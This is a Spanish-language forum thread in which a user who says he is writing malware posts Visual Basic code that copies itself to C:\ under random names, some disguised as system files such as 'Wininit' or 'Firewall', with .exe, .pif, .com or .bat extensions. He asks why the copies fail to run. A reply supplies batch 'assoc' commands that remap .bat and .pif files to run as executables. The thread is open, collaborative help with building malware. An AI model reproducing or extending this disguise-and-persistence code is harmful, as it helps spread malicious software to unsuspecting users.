Error de ejecucion

[At0XXXic0]

Hola, estoy programando un malware que tome como nombre
para copiarse uno entre 30 opciones y 4 extensiones (.exe, .pif, .bat y .com ),
todo va bien hasta este punto, genera el nombre y la extension correctamente
pero si sale un archivo com, pif o bat y lo ejecuto me lanza error que dice:

Error '53' en tiempo de ejecucion :
no se ha encontrado el archivo

Les dejo el code para que lo analizen:

Option Explicit
Dim nombre As String
Dim exte As String
Dim toxico
Dim popo
Private Sub Form_Load()
Randomize
toxico = Int(Rnd * 30)
If toxico = 0 Then nombre = "Windows sevicess"
If toxico = 1 Then nombre = "Wininit"
If toxico = 2 Then nombre = "Sexy"
If toxico = 3 Then nombre = "runexe"
If toxico = 4 Then nombre = "puppet"
If toxico = 5 Then nombre = "shit"
If toxico = 6 Then nombre = "*****"
If toxico = 7 Then nombre = "Winsock32.dll"
If toxico = 8 Then nombre = "Root"
If toxico = 9 Then nombre = "Firewall"
If toxico = 10 Then nombre = "XP"
If toxico = 11 Then nombre = "WinNT"
If toxico = 12 Then nombre = "winXP"
If toxico = 13 Then nombre = "Logger"
If toxico = 14 Then nombre = "sucker"
If toxico = 15 Then nombre = "apestas"
If toxico = 16 Then nombre = "line"
If toxico = 17 Then nombre = "p**a"
If toxico = 18 Then nombre = "setsi"
If toxico = 19 Then nombre = "ozorio"
If toxico = 20 Then nombre = "sevicess"
If toxico = 21 Then nombre = "mi_vida-atte-tu compu"
If toxico = 22 Then nombre = "Informacion"
If toxico = 23 Then nombre = "Porno de 2006"
If toxico = 24 Then nombre = "nada"
If toxico = 25 Then nombre = "alg"
If toxico = 26 Then nombre = "que_joto_eres"
If toxico = 27 Then nombre = "me_cagas"
If toxico = 28 Then nombre = "abreme"
If toxico = 29 Then nombre = "no se"
Randomize
popo = Int(Rnd * 4)
If popo = 0 Then exte = ".exe"
If popo = 1 Then exte = ".pif"
If popo = 2 Then exte = ".com"
If popo = 3 Then exte = ".bat"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\" & nombre & exte

End sub

Espero puedan ayudarme 

[krackwar]

a ver si entendi quieres ejecutar tu archivo como si fuera un .bat o un .pif o .com ,bueno si es esto lamento decirte que no se puede

[At0XXXic0]

Gracias por contestar, lo que pasaba era que queria saber porque me
producia error al ejecutar una copia del mismo (con extension .exe)
con otra extension (pif,com,bat), pero veo que has respondido que
no se puede  , de todas formas gracias

[krackwar]

Gracias por contestar, lo que pasaba era que queria saber porque me
producia error al ejecutar una copia del mismo (con extension .exe)
con otra extension (pif,com,bat), pero veo que has respondido que
no se puede  , de todas formas gracias

bueno,lo que te dije es algo basico ,aunque si ai una forma de hacerlo que seria modificando el registro i poner que los bat , los pif y los com se ejecuten como si fueran exe`s no tengo tiempo para escribirte el code pero te dejo uno de batch

Código [Seleccionar] Expandir


assoc .exe=exefile
assoc .bat=exefile
assoc .pif=exefile


[At0XXXic0]

Ok! gracias